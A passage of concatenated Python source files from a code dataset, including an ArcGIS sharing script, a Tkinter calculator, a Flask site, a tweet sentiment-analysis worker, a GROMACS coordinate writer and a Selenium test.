Arguments\n if len(sys.argv) != 3:\n raise Exception('Inputs Invalid - Expected Format: python share_runner.py group_name circuit_csv')\n group, circuit_csv = sys.argv[1], sys.argv[2]\n\n # Get Group GIS Connection\n grp_gis = GIS(\n group_portal['path'],\n group_portal['user'],\n group_portal['pass']\n )\n print('Connected: {}\\n'.format(grp_gis))\n\n # Get User GIS Connection\n usr_gis = GIS(\n user_portal['path'],\n user_portal['user'],\n user_portal['pass']\n )\n print('Connected: {}\\n'.format(usr_gis))\n\n # Collect Group From Another Organization\n group = usr_gis.groups.search('{}'.format(group))\n if len(group) != 1:\n raise Exception('Empty or Ambiguous Group Search Result')\n else:\n group = group[0]\n\n # Read CSV Input & Process Circuits\n with open(circuit_csv, newline='') as the_file:\n\n the_reader = csv.reader(the_file, delimiter=',')\n\n # Skip Header Row\n next(the_reader)\n\n for row in the_reader:\n\n try:\n # Share Content\n share_circuit_content(grp_gis, row[0], group)\n\n except Exception as gen_exc:\n print('General Exception: {}'.format(str(gen_exc)))\n","sub_path":"share_runner_pge_samples.py","file_name":"share_runner_pge_samples.py","file_ext":"py","file_size_in_byte":2221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"304184001","text":"from tkinter import *\r\n\r\nexpression = \"\"\r\ndef press(num):\r\n global expression\r\n expression = expression + str(num)\r\n equation.set(expression)\r\n\r\ndef equalpress():\r\n try:\r\n global expression\r\n total = str(eval(expression))\r\n equation.set(total)\r\n expression = \"\"\r\n \r\n except:\r\n equation.set(\"error\")\r\n expression = \"\"\r\n\r\ndef clear():\r\n global expression\r\n expression = \"\"\r\n equation.set(\"\")\r\n\r\nif __name__ == \"__main__\":\r\n gui = Tk()\r\n gui.configure(background=\"dark blue\")\r\n gui.title(\"Calculator\")\r\n gui.geometry(\"260x125\")\r\n\r\n equation = StringVar()\r\n\r\n expression_field = Entry(gui,textvariable=equation)\r\n expression_field.grid(columnspan=4, ipadx=70)\r\n\r\n equation.set(\"0\")\r\n\r\n button1 = Button(gui, text='1', fg='black', bg='gray', command=lambda: press(1), height=1, width=5)\r\n button1.grid(row=2, column=0)\r\n\r\n button2 = Button(gui, text='2', fg='black', bg='gray', command=lambda: press(2), height=1, width=5)\r\n button2.grid(row=2, column=1)\r\n\r\n button3 = Button(gui, text='3', fg='black', bg='gray', command=lambda: press(3), height=1, width=5)\r\n button3.grid(row=2, column=2)\r\n\r\n button4 = Button(gui, text='4', fg='black', bg='gray', command=lambda: press(4), height=1, width=5)\r\n button4.grid(row=3, column=0)\r\n\r\n button5 = Button(gui, text='5', fg='black', bg='gray', command=lambda: press(5), height=1, width=5)\r\n button5.grid(row=3, column=1)\r\n\r\n button6 = Button(gui, text='6', fg='black', bg='gray', command=lambda: press(6), height=1, width=5)\r\n button6.grid(row=3, column=2)\r\n\r\n button7 = Button(gui, text='7', fg='black', bg='gray', command=lambda: press(7), height=1, width=5)\r\n button7.grid(row=4, column=0)\r\n\r\n button8 = Button(gui, text='8', fg='black', bg='gray', command=lambda: press(8), height=1, width=5)\r\n button8.grid(row=4, column=1)\r\n\r\n button9 = Button(gui, text='9', fg='black', bg='gray', command=lambda: press(9), height=1, width=5)\r\n button9.grid(row=4, column=2)\r\n\r\n button0 = Button(gui, text='0', fg='black', bg='gray', command=lambda: press(0), height=1, width=5)\r\n button0.grid(row=5, column=1)\r\n\r\n plus = Button(gui, text='+', fg='black', bg='gray', command=lambda: press('+'), height=1, width=5)\r\n plus.grid(row=2, column=3)\r\n\r\n minus = Button(gui, text='-', fg='black', bg='gray', command=lambda: press('-'), height=1, width=5)\r\n minus.grid(row=3, column=3)\r\n\r\n multiply = Button(gui, text='*', fg='black', bg='gray', command=lambda: press('*'), height=1, width=5)\r\n multiply.grid(row=4, column=3)\r\n\r\n divide = Button(gui, text='/', fg='black', bg='gray', command=lambda: press('/'), height=1, width=5)\r\n divide.grid(row=5, column=3)\r\n\r\n equals = Button(gui, text='=', fg='black', bg='gray', command=lambda: equalpress(), height=1, width=5)\r\n equals.grid(row=5, column=2)\r\n\r\n clearfield = Button(gui, text='Clear', fg='black', bg='gray', command=lambda: clear(), height=1, width=5)\r\n clearfield.grid(row=5, column=0)\r\n\r\n gui.mainloop()","sub_path":"SimpleCalc.py","file_name":"SimpleCalc.py","file_ext":"py","file_size_in_byte":3073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"39377487","text":"# -*- coding: utf-8 -*-\n\"\"\"Installer for the eionet.theme package.\"\"\"\n\nfrom os.path import join\n\nfrom setuptools import find_packages, setup\n\nNAME = 'eionet.theme'\nPATH = NAME.split('.') + ['version.txt']\nVERSION = open(join(*PATH)).read().strip()\n\nsetup(\n name=NAME,\n version=VERSION,\n description=\"Installable theme: eionet.theme\",\n long_description_content_type=\"text/x-rst\",\n long_description=open(\"README.rst\").read() + \"\\n\" +\n open(join(\"docs\", \"HISTORY.txt\")).read(),\n # Get more from https://pypi.python.org/pypi?%3Aaction=list_classifiers\n classifiers=[\n \"Environment :: Web Environment\",\n \"Framework :: Plone\",\n \"Framework :: Plone :: 5.0\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 2.7\",\n \"Operating System :: OS Independent\",\n \"License :: OSI Approved :: GNU General Public License v2 (GPLv2)\",\n ],\n keywords='Python Plone',\n author='Krisztina Elekes',\n author_email='krisztina.elekes@eaudeweb.ro',\n url='https://github.com/eea/eionet.plone.theme',\n license='GPL version 2',\n packages=find_packages(exclude=['ez_setup']),\n namespace_packages=['eionet'],\n # package_dir={'': ''},\n include_package_data=True,\n zip_safe=False,\n install_requires=[\n 'plone.api',\n 'Products.GenericSetup>=1.8.2',\n 'setuptools',\n 'z3c.jbot',\n 'plone.app.theming',\n 'plone.app.themingplugins',\n ],\n extras_require={\n 'test': [\n 'plone.app.testing',\n # Plone KGS does not use this version, because it would break\n # Remove if your package shall be part of coredev.\n # plone_coredev tests as of 2016-04-01.\n 'plone.testing>=5.0.0',\n 'plone.app.contenttypes',\n 'plone.app.robotframework[debug]',\n ],\n },\n entry_points=\"\"\"\n [z3c.autoinclude.plugin]\n target = plone\n \"\"\",\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"38075907","text":"#!/usr/bin/env python3\n\nimport webbrowser\nimport os\nfrom flask import Flask, render_template\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\ndb = SQLAlchemy()\n\napp.config['DEBUG'] = True\n\nUSE_DB = False\n\nif USE_DB:\n POSTGRES = {\n 'user': 'jarvisna',\n 'pw': '',\n 'db': 'jarvisna',\n 'host': 'localhost',\n 'port': '5432',\n }\n\n app.config['SQLALCHEMY_DATABASE_URI'] = \\\n 'postgresql://%(user)s:\\%(pw)s@%(host)s:%(port)s/%(db)s' % POSTGRES\n\n db.init_app(app)\n\n\nclass Question(db.Model):\n __tablename__ = \"questions\"\n id = db.Column(db.Integer, primary_key=True)\n question = db.Column(db.String(100), primary_key=True)\n answer = db.Column(db.String(100), primary_key=True)\n\n def __init__(self, question, answer):\n self.question = question\n self.answer = answer\n\n def __repr__(self):\n return \"{}? {}\".format(self.question, self.answer)\n\n\n@app.route('/')\ndef hello_world():\n return render_template(\"home.html\")\n\n\n@app.route('/about/')\n@app.route('/about')\ndef about(name=None):\n if name is None:\n template_files = (file.rsplit('.', maxsplit=1)\n for file in os.listdir('templates'))\n non_base_template_filenames = (filename\n for (filename, _) in template_files\n if not filename.endswith('template')\n and filename.startswith('about_')\n and filename != 'about_us')\n member_names = map(\n lambda filename: filename.replace('about_', '', 1).title(),\n non_base_template_filenames)\n return render_template('about_us.html', members=member_names)\n\n return render_template(\"about_{0}.html\".format(name), user=name)\n\n\n@app.route('/contact')\ndef contact():\n return render_template(\"contact.html\")\n\n\n@app.route('/dbtest')\ndef dbtest():\n print(Question.query.all())\n return repr(Question.query.all())\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=5000)\n","sub_path":"Projects/2018 Spring - ACM Website/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"319106872","text":"# method 2, union find for index (not for nums[i])\nclass Solution(object):\n def longestConsecutive(self, nums):\n if not nums:\n return 0\n \n n = len(nums)\n self.parent = {i: i for i in range(n)} # union find for index (not for nums[i])\n self.size = {i: 1 for i in range(n)}\n visited = {}\n for i, num in enumerate(nums):\n if num in visited: # skip duplicates\n continue\n if num-1 in visited:\n self.union(i, visited[num-1])\n if num+1 in visited:\n self.union(i, visited[num+1])\n visited[num] = i\n return max(self.size.values())\n \n def union(self, i, j):\n p = self.find(i)\n q = self.find(j)\n if p != q:\n if self.size[p] > self.size[q]:\n p, q = q, p\n self.parent[p] = q\n self.size[q] += self.size[p]\n \n def find(self, i):\n if i != self.parent[i]:\n self.parent[i] = self.find(self.parent[i])\n return self.parent[i]\n\n\n# method 1: hash set, time/space O(n)\nclass Solution1(object):\n def longestConsecutive(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n _set = set(nums) \n ans = 0\n\n while _set:\n num = _set.pop()\n count = 1\n copy = num\n while num + 1 in _set:\n count += 1\n _set.remove(num + 1)\n num += 1\n while copy - 1 in _set:\n count += 1\n copy -= 1\n _set.remove(copy)\n ans = max(ans, count)\n \n return ans\n\n \n\"\"\"\nGiven an unsorted array of integers, find the length of the longest consecutive elements sequence.\n\nYour algorithm should run in O(n) complexity.\n\nExample:\n\nInput: [100, 4, 200, 1, 3, 2]\nOutput: 4\nExplanation: The longest consecutive elements sequence is [1, 2, 3, 4]. Therefore its length is 4.\n\"\"\"\n\nfrom collections import Counter\n\n","sub_path":"0128. Longest Consecutive Sequence.py","file_name":"0128. Longest Consecutive Sequence.py","file_ext":"py","file_size_in_byte":2044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"307821687","text":"from __future__ import print_function\n\n__author__ = 'Benji'\n\nfrom os import name\n\nimport flags\n\n\nclass Logger:\n def __init__(self, flag, log_file):\n # Only supports posix color codes, need print_color flag\n if name != \"nt\" and flag & flags.print_color:\n self._c_reset = \"\\x1B[0m\"\n self._c_red = \"\\x1B[31m\"\n self._c_yellow = \"\\x1B[33m\"\n self._c_blue = \"\\x1b[34m\"\n\n else:\n self._c_reset = \"\"\n self._c_red = \"\"\n self._c_yellow = \"\"\n self._c_blue = \"\"\n\n if flag & flags.log_file:\n self._log_file = log_file\n\n else:\n self._log_file = None\n\n def error(self, msg):\n msg = \"Error: \" + msg\n \n print(\"{}{}{}\".format(self._c_red, msg, self._c_reset))\n self._log(msg)\n exit(1)\n \n def warning(self, msg):\n msg = \"Warning: \" + msg\n \n print(\"{}{}{}\".format(self._c_yellow, msg, self._c_reset))\n self._log(msg)\n\n def info(self, msg):\n msg = \"Info: \" + msg\n\n print(\"{}{}{}\".format(self._c_yellow, msg, self._c_reset))\n self._log(msg)\n \n def _log(self, text):\n if self._log_file is not None:\n print(text, file=self._log_file)\n","sub_path":"error_logging.py","file_name":"error_logging.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"280859044","text":"from matplotlib import pyplot as plt\nfrom matplotlib import lines as mlines\nfrom sklearn.datasets import load_iris\nimport numpy as np\n\ndata = load_iris()\nfeatures = data['data']\nfeature_names = data['feature_names']\ntarget = data['target']\ntarget_names = data['target_names']\n\nplength = features[:,2]\nis_setosa = (target==list(target_names).index('setosa'))\n#print(is_setosa)\n\nfeatures = features[~is_setosa]\ntarget = target[~is_setosa]\nvirginica = (target==list(target_names).index('virginica'))\n\nbest_acc = -1.0\nfor fi in range(features.shape[1]):\n\tthresh = features[:,fi].copy()\n\tthresh.sort()\n\tfor t in thresh:\n\t\tpred = (features[:,fi]>t)\n\t\tacc = (pred==virginica).mean()\n\t\tif acc > best_acc:\n\t\t\tbest_acc = acc\n\t\t\tbest_fi = fi\n\t\t\tbest_t = t\n\n\nprint(\"best_acc : %s\" %best_acc)\nprint(\"best_fi : %s\" %best_fi)\nprint(\"best_t : %s\" %best_t)\n\n\nprint(\"Testing on an example\")\n\nprint(\"versicolor Sample\")\nexample = features[0]\nprint(example)\nif example[best_fi] > best_t: print(\"virginica\")\nelse: print(\"versicolor\")\n\nprint(\"virginica Sample\")\nexample = features[-1]\nprint(example)\nif example[best_fi] > best_t: print(\"virginica\")\nelse: print(\"versicolor\")","sub_path":"src/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"39438401","text":"import os\nimport sys\nsys.path.append('../')\n\nfrom nltk.sentiment.vader import SentimentIntensityAnalyzer\n\nfrom middleware.rabbitmq_queue import RabbitMQQueue\nfrom middleware.rabbitmq_queues import RabbitMQQueues\nfrom middleware.log import Logger\nfrom middleware.shenlong_status_sender import ShenlongStatusSender\n\nTWIT_ID = 0\nAUTHOR_ID = 1\nCREATED_AT = 2\nTEXT = 3\n\nBASE_NEGATIVE_SCORE = -0.5\nBASE_POSITIVE_SCORE = 0.5\n\nNEGATIVE_SCORE = -1\nPOSITIVE_SCORE = 1\n\nRECEIVE_QUEUE_NAME = \"preprocesed_twits\"\nSEND_USR_QUEUE_NAME = \"usr_twits\"\nSEND_DATE_QUEUE_NAME = \"date_twits\"\nHEALTH_QUEUE = \"pings\"\n\n\nclass TwitterTextSentimentAnalyzer(object):\n def __init__(self, receive_queue, send_usr_queues, send_date_queues, shenlong_sender, logger):\n self.receive_queue = receive_queue\n self.send_usr_queues = send_usr_queues\n self.send_date_queues = send_date_queues\n self.received_twits = {}\n self.shenlong_sender = shenlong_sender\n self.logger = logger\n self.sentiment_analyzer = SentimentIntensityAnalyzer()\n\n def _is_score_neutral(self, score):\n return (score < BASE_POSITIVE_SCORE and score > BASE_NEGATIVE_SCORE)\n\n def _map_score(self, score):\n return POSITIVE_SCORE if score >= BASE_POSITIVE_SCORE else NEGATIVE_SCORE\n\n def _callback(self, ch, method, properties, decoded_body):\n self.logger.log_with_frequency(\"Received line %s\", decoded_body)\n\n body_values = decoded_body.split(\",\")\n twit_id = body_values[TWIT_ID]\n author_id = body_values[AUTHOR_ID]\n created_at = body_values[CREATED_AT]\n\n if twit_id in self.received_twits: #message already received\n ch.basic_ack(delivery_tag = method.delivery_tag)\n return\n\n score = self.sentiment_analyzer.polarity_scores(body_values[TEXT])['compound']\n\n self.logger.log_with_frequency(\"Score is %s\", score)\n\n if self._is_score_neutral(score):\n self.logger.log_with_frequency(\"The score is neutral\")\n ch.basic_ack(delivery_tag = method.delivery_tag)\n return\n\n score = self._map_score(score)\n\n self.logger.log_with_frequency(\"Sending: twit_id = %s, author_id = %s, date = %s, score = %s\", twit_id, author_id, created_at, score)\n \n self.send_usr_queues.send(\"{},{},{}\".format(twit_id, author_id, score), author_id)\n self.send_date_queues.send(\"{},{},{}\".format(twit_id, created_at, score), author_id)\n self.received_twits[twit_id] = True\n \n ch.basic_ack(delivery_tag = method.delivery_tag)\n\n def _eoj_callback(self, eoj_msg):\n self.logger.log(\"Received EOJ\")\n self.send_usr_queues.send_eoj(eoj_msg)\n self.send_date_queues.send_eoj(eoj_msg)\n self.logger.log(\"Send EOJ\")\n\n def run(self):\n self.shenlong_sender.start()\n\n self.logger.log(\"Start consuming\")\n self.receive_queue.consume(self._callback, self._eoj_callback)\n\n self.logger.log(\"Sending EOM to usr queues\")\n self.send_usr_queues.send_eom()\n\n self.logger.log(\"Sending EOM to date queues\")\n self.send_date_queues.send_eom()\n\n self.shenlong_sender.stop()\n self.shenlong_sender.join()\n\n self.logger.log(\"Finish\")\n\nif __name__ == '__main__':\n rabbitmq_host = os.environ['RABBITMQ_HOST']\n analyzer_workers = int(os.environ['ANALYZER_WORKERS'])\n filter_parser_workers = int(os.environ['FILTER_PARSER_WORKERS'])\n user_reduce_workers = int(os.environ['USER_REDUCER_WORKERS'])\n date_reduce_workers = int(os.environ['DATE_REDUCER_WORKERS'])\n healtcheck_workers = int(os.environ['HEALTHCHECK_WORKERS'])\n\n worker_id = os.environ['SERVICE_ID']\n\n log_file = os.environ['LOG_FILE']\n log_frequency = int(os.environ['LOG_FREQUENCY'])\n\n send_usr_queues = RabbitMQQueues(SEND_USR_QUEUE_NAME, rabbitmq_host, user_reduce_workers)\n send_date_queues = RabbitMQQueues(SEND_DATE_QUEUE_NAME, rabbitmq_host, date_reduce_workers)\n receive_queue = RabbitMQQueue(\"{}{}\".format(RECEIVE_QUEUE_NAME, worker_id), rabbitmq_host, filter_parser_workers)\n\n health_queue = RabbitMQQueue(HEALTH_QUEUE, rabbitmq_host)\n\n shenlong_sender = ShenlongStatusSender(\"ANALYZER\", worker_id, health_queue)\n logger = Logger(\"ANALYZER\", log_file, log_frequency)\n\n worker = TwitterTextSentimentAnalyzer(receive_queue, send_usr_queues, send_date_queues, shenlong_sender, logger)\n\n logger.log(\"Worker created, started running\")\n\n worker.run()\n\n logger.log(\"Worker finished, exiting\")\n","sub_path":"src/analyzer/analyzer.py","file_name":"analyzer.py","file_ext":"py","file_size_in_byte":4529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"340639596","text":"__author__ = 'deepanshu'\n\nimport sys\nimport os\nsys.path.append(os.path.abspath(os.path.join(os.getcwd(), os.pardir)))\nfrom library.db import *\nfrom library.mail import *\nfrom library import logs\ntry:\n log_file = 'logs-cashback-'+datetime.datetime.now().strftime('%d-%m-%Y %H:%M:%S')\n logs.start_logger(log_file)\n logging.info('Script Started at : '+datetime.datetime.now().strftime('%d-%m-%Y %H:%M:%S'))\n result = get_mail_data()\n try:\n if(len(result) > 0):\n userDetail = get_user_name(result[0][0])\n if userDetail != '':\n userEmail = userDetail[0]\n except Exception as e:\n logging.info('Error while getting user details. Error message : '+str(e))\n userEmail = 'deepanshu.wadhwa@snapdeal.com'\n for row in result:\n try:\n response = send_mail(mail_to=row[2].encode('utf-8'),order_code=row[0].encode('utf-8'),customer_name=row[1].encode('utf-8'),\n cashback=row[3].encode('utf-8'),order_date=row[4],campaign_name=row[5].encode('utf-8'),\n url=row[6].encode('utf-8'))\n except:\n response = send_mail(mail_to=row[2],order_code=row[0],customer_name=row[1],cashback=row[3],order_date=row[4],\n campaign_name=row[5],url=row[6])\n if response == 1:\n update_cashback_mail(row[0])\n else:\n logging.info('Error while sending mail to : '+str(row[2]))\n send(str(userEmail),'noreply@snapdeals.co.in','Script Successful for Cashback Processing',\"Hi mail send to customers for Cashback Details.
      Please check logs for errors.
      Log File \")\n logging.info('Script Completed at : '+datetime.datetime.now().strftime('%d-%m-%Y %H:%M:%S'))\nexcept Exception as e:\n logging.info('Error in executing script. Error message : '+str(e))\n","sub_path":"www/Cashback-Script/script/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"287794993","text":"\"\"\"\r\nFunctions to produce a GROMACS coordinate (.gro) file from a MoleculeBox.\r\n\r\nExample:\r\n >>> from gromacsutils import gro_builder\r\n >>> f = open('output.gro', 'w')\r\n >>> gro_builder.write_gro_file(box, f)\r\n >>> f.close()\r\n\r\nAuthor: David Watson\r\nEmail: david.watson@ufv.ca\r\n\"\"\"\r\n\r\n\r\nfrom __future__ import print_function, division\r\nfrom chemutils.MoleculeBox import MoleculeBox\r\nfrom itertools import repeat\r\n\r\n\r\n###############################################################################\r\n# Exceptions\r\n###############################################################################\r\n\r\n\r\nclass AtomError(ValueError):\r\n pass\r\n\r\nclass PositionError(AtomError):\r\n pass\r\n\r\nclass VelocityError(AtomError):\r\n pass\r\n\r\nclass DimensionError(ValueError):\r\n pass\r\n\r\n\r\n###############################################################################\r\n# .gro-building functions\r\n###############################################################################\r\n\r\n\r\ndef format_position_coordinate(coord):\r\n \"\"\"\r\n Format a position coordinate properly for GROMACS.\r\n\r\n A GROMACS position coordinate must be within -999.999 and 9999.999,\r\n inclusive.\r\n\r\n Args:\r\n coord: A real position coordinate.\r\n\r\n Returns:\r\n A properly formatted string containing the coordinate.\r\n\r\n Raises:\r\n PositionError: If the coordinate is too large.\r\n \"\"\"\r\n if -999.999 <= coord and coord <= 9999.999:\r\n # This format string is a little obscure. The space after the colon\r\n # is the fill character. The > means right-aligned, with the fill\r\n # character used on the left side. The 0 makes the fill take the\r\n # sign of the number into account. The 8 is the width. The .3\r\n # is the number of digits after the decimal point. The f specifies\r\n # a fixed-point format.\r\n return '{: >08.3f}'.format(coord)\r\n\r\n else:\r\n message = \"Coordinate is too large: {0}\"\r\n message = message.format(coord)\r\n\r\n raise PositionError(message)\r\n\r\n\r\ndef format_velocity_coordinate(coord):\r\n \"\"\"\r\n Format a velocity coordinate properly for GROMACS.\r\n\r\n A GROMACS velocity coordinate must be within -99.9999 and 999.9999,\r\n inclusive.\r\n\r\n Args:\r\n coord: A real velocity coordinate.\r\n\r\n Returns:\r\n A properly formatted string containing the coordinate.\r\n\r\n Raises:\r\n VelocityError: If the coordinate is too large.\r\n \"\"\"\r\n if -99.9999 <= coord and coord <= 999.9999:\r\n # This format string is a little obscure. The space after the colon\r\n # is the fill character. The > means right-aligned, with the fill\r\n # character used on the left side. The 0 makes the fill take the\r\n # sign of the number into account. The 8 is the width. The .4\r\n # is the number of digits after the decimal point. The f specifies\r\n # a fixed-point format.\r\n return '{: >08.4f}'.format(coord)\r\n\r\n else:\r\n message = \"Coordinate is too large: {0}\"\r\n message = message.format(coord)\r\n\r\n raise VelocityError(message)\r\n\r\n\r\ndef position_string(atom):\r\n \"\"\"\r\n Make a string containing the atom's position, suitable for GROMACS.\r\n\r\n Args:\r\n atom: An Atom\r\n\r\n Return:\r\n A 24 character string containing the position coordinates of the atom.\r\n \"\"\"\r\n # Atoms are assumed to have been checked for correct dimension.\r\n\r\n coord_strings = map(format_position_coordinate, atom.position)\r\n position_string = ''.join(coord_strings)\r\n\r\n return position_string\r\n \r\n\r\ndef velocity_string(atom):\r\n \"\"\"\r\n Make a string containing the atom's velocity, suitable for GROMACS.\r\n\r\n Args:\r\n atom: An Atom\r\n\r\n Return:\r\n A 24 character string containing the velocity coordinates of the atom,\r\n or an empty string if the velocity is the zero vector.\r\n \"\"\"\r\n # Atoms are assumed to have been checked for correct dimension.\r\n\r\n # If all velocity coordinates are zero, don't bother making a string.\r\n # bool casts any non-zero value as True, so any(map(bool, _)) returns True\r\n # if any of the velocity coordinates are true.\r\n if not any(map(bool, atom.velocity)):\r\n velocity_string = ''\r\n\r\n else:\r\n coord_strings = map(format_velocity_coordinate, atom.velocity)\r\n velocity_string = ''.join(coord_strings)\r\n\r\n return velocity_string\r\n \r\n\r\ndef build_atom_lines(box):\r\n \"\"\"\r\n Construct the atom lines for each Atom in a MoleculeBox.\r\n\r\n Args:\r\n box: A MoleculeBox.\r\n\r\n Returns:\r\n The atom lines of a .gro file as a list of strings.\r\n\r\n Raises:\r\n PositionError: If an atom's position can't fit in the .gro format.\r\n VelocityError: If an atom's velocity can't fit in the .gro format.\r\n \"\"\"\r\n atom_number = 0\r\n lines = []\r\n \r\n for molecule in box:\r\n # Extract all the molecule-level information.\r\n residue_number = molecule.id\r\n residue_number_string = '{:>5}'.format(residue_number)\r\n\r\n # format pads the name to five characters if it's short. The slice\r\n # truncates the name to five characters if it's long.\r\n residue_name = '{:<5}'.format(molecule.name[0:5])\r\n\r\n for atom in molecule:\r\n # Extract all the atom-level information.\r\n \r\n # See the comment for the residue_name assignment line.\r\n atom_name = '{:>5}'.format(atom.name[0:5])\r\n \r\n atom_number += 1\r\n atom_number_string = '{:>5}'.format(atom_number)\r\n \r\n # If there is a problem with the atom's position, add something to\r\n # identify which atom has the problem.\r\n try:\r\n position = position_string(atom)\r\n except PositionError as e:\r\n message = \"Atom {0}: \" + e.args[0]\r\n message = message.format(atom.name)\r\n \r\n e.args = (message, )\r\n\r\n raise\r\n \r\n # Same thing with the atom's velocity.\r\n try:\r\n velocity = velocity_string(atom)\r\n except VelocityError as e:\r\n message = \"Atom {0}: \" + e.args[0]\r\n message = message.format(atom.name)\r\n\r\n e.args = (message, )\r\n\r\n raise\r\n\r\n pieces = [residue_number_string, residue_name, atom_name,\r\n atom_number_string, position, velocity]\r\n line = ''.join(pieces)\r\n lines.append(line)\r\n\r\n return lines\r\n\r\n\r\ndef build_gro_lines(box):\r\n \"\"\"\r\n Construct a GROMACS coordinate (.gro) file from a MoleculeBox.\r\n\r\n Args:\r\n box: A MoleculeBox\r\n\r\n Returns:\r\n A string containing the lines of the .gro file.\r\n\r\n Raises:\r\n TypeError: If box is not a MoleculeBox.\r\n DimensionError: If box is defined in anything other three dimensions.\r\n PositionError: If any position coordinate is too large for GROMACS.\r\n VelocityError: If any velocity coordinate is too large for GROMACS.\r\n \"\"\"\r\n if not isinstance(box, MoleculeBox):\r\n raise TypeError(\"Can only create .gro files from MoleculeBox.\")\r\n\r\n if box.dim is not 3:\r\n raise DimensionError(\"Box must be defined in three dimensions.\")\r\n\r\n title = 'Generated by chemutils.gro_builder.py'\r\n number_of_atoms = str(box.number_of_atoms())\r\n atom_lines = build_atom_lines(box)\r\n box_vector = ' '.join(map(str, box.box))\r\n\r\n lines = [title, number_of_atoms] + atom_lines + [box_vector]\r\n\r\n return '\\n'.join(lines)\r\n\r\n\r\ndef write_gro_file(box, file):\r\n \"\"\"\r\n Write a GROMACS coordinate (.gro) file with the contents of a MoleculeBox.\r\n\r\n Args:\r\n box: A MoleculeBox\r\n file: A writable file object.\r\n\r\n Raises:\r\n TypeError: If box is not a MoleculeBox.\r\n DimensionError: If box is defined in anything other three dimensions.\r\n PositionError: If any position coordinate is too large for GROMACS.\r\n VelocityError: If any velocity coordinate is too large for GROMACS.\r\n OSError: If the file cannot be written to.\r\n \"\"\"\r\n file.write(build_gro_lines(box))\r\n file.write('\\n')\r\n\r\n","sub_path":"gromacsutils/gro_builder.py","file_name":"gro_builder.py","file_ext":"py","file_size_in_byte":8279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"338732815","text":"def clean_scr (dis):\n c = []\n for e in dis:\n if len(e) == 6:\n c.append(e)\n else: \n c.append([e[0],e[1]+\" \"+e[2],e[3],e[4],e[5],e[6]]) \n pd_1 = pd.DataFrame(c)\n pd_1.columns = [1,2,3,4,5,6]\n pd_1 = pd_1[[2,4]]\n pd_1.columns = [[\"State\",\"Population 2000\"]]\n return pd_1.to_csv('states.csv')","sub_path":"clean_scr.py","file_name":"clean_scr.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"392820968","text":"import pytest\r\nfrom selenium import webdriver\r\nimport time\r\nimport math\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\n\r\ntest = []\r\n@pytest.fixture(scope=\"function\")\r\ndef browser():\r\n print(\"\\nstart browser for test..\")\r\n browser = webdriver.Firefox()\r\n browser.implicitly_wait(5)\r\n yield browser\r\n print(\"\\nquit browser..\")\r\n browser.quit()\r\n\r\n\r\nmas = ['236895', '236896', '236897', '236898', '236899', '236903', '236904', '236905']\r\n\r\n\r\nclass TestSuite1(object):\r\n @pytest.mark.parametrize('num', mas)\r\n def test_guest_should_see_login_link(self, browser, num):\r\n link = f\"https://stepik.org/lesson/{num}/step/1\"\r\n browser.get(link)\r\n # fdsfdsfds\r\n # area_answer = WebDriverWait(browser, 5).until(\r\n # EC.element_to_be_clickable((By.CSS_SELECTOR, \"div>div>div>textarea\")))\r\n area_answer = browser.find_element_by_css_selector('div>div>div>.textarea')\r\n\r\n answer = math.log(int(time.time()))\r\n print(answer)\r\n area_answer.send_keys(str(answer))\r\n\r\n\r\n but = browser.find_element_by_css_selector('.submit-submission ')\r\n but.click()\r\n\r\n feed_back = browser.find_element_by_css_selector('.smart-hints__hint')\r\n assert feed_back.text == \"Correct!\", \"FeedBack:\" + str(feed_back)\r\n if feed_back.text != \"Correct!\":\r\n test.append(feed_back.text)\r\n\r\n print(test)\r\n","sub_path":"lesson3-6_step3.py","file_name":"lesson3-6_step3.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"187767411","text":"# ******************************************************\r\n# Program: stencil_main.py\r\n# Author: HPC4WC Group 7\r\n# Date: 02.07.2020\r\n# Description: Access different stencil functions via Commandline (click)\r\n# ******************************************************\r\n\r\nimport time\r\nimport numpy as np\r\nimport click\r\nimport matplotlib\r\nimport sys\r\nimport numba\r\n\r\n\r\nmatplotlib.use(\"Agg\")\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\nfrom functions import field_validation \r\n# (\r\n# create_new_infield,\r\n# create_val_infield,\r\n# save_new_outfield,\r\n# validate_outfield,\r\n# )\r\nfrom functions import serialization\r\n #evaluate.add_data\r\n #evaluate.save_runtime_as_df\r\n \r\nfrom functions import stencils_numpy\r\n #(\r\n #stencils_numpy.test,\r\n #stencils_numpy.laplacian1d,\r\n #stencils_numpy.laplacian2d,\r\n #stencils_numpy.laplacian3d,\r\n #stencils_numpy.FMA,\r\n #stencils_numpy.lapoflap1d,\r\n #stencils_numpy.lapoflap2d,\r\n 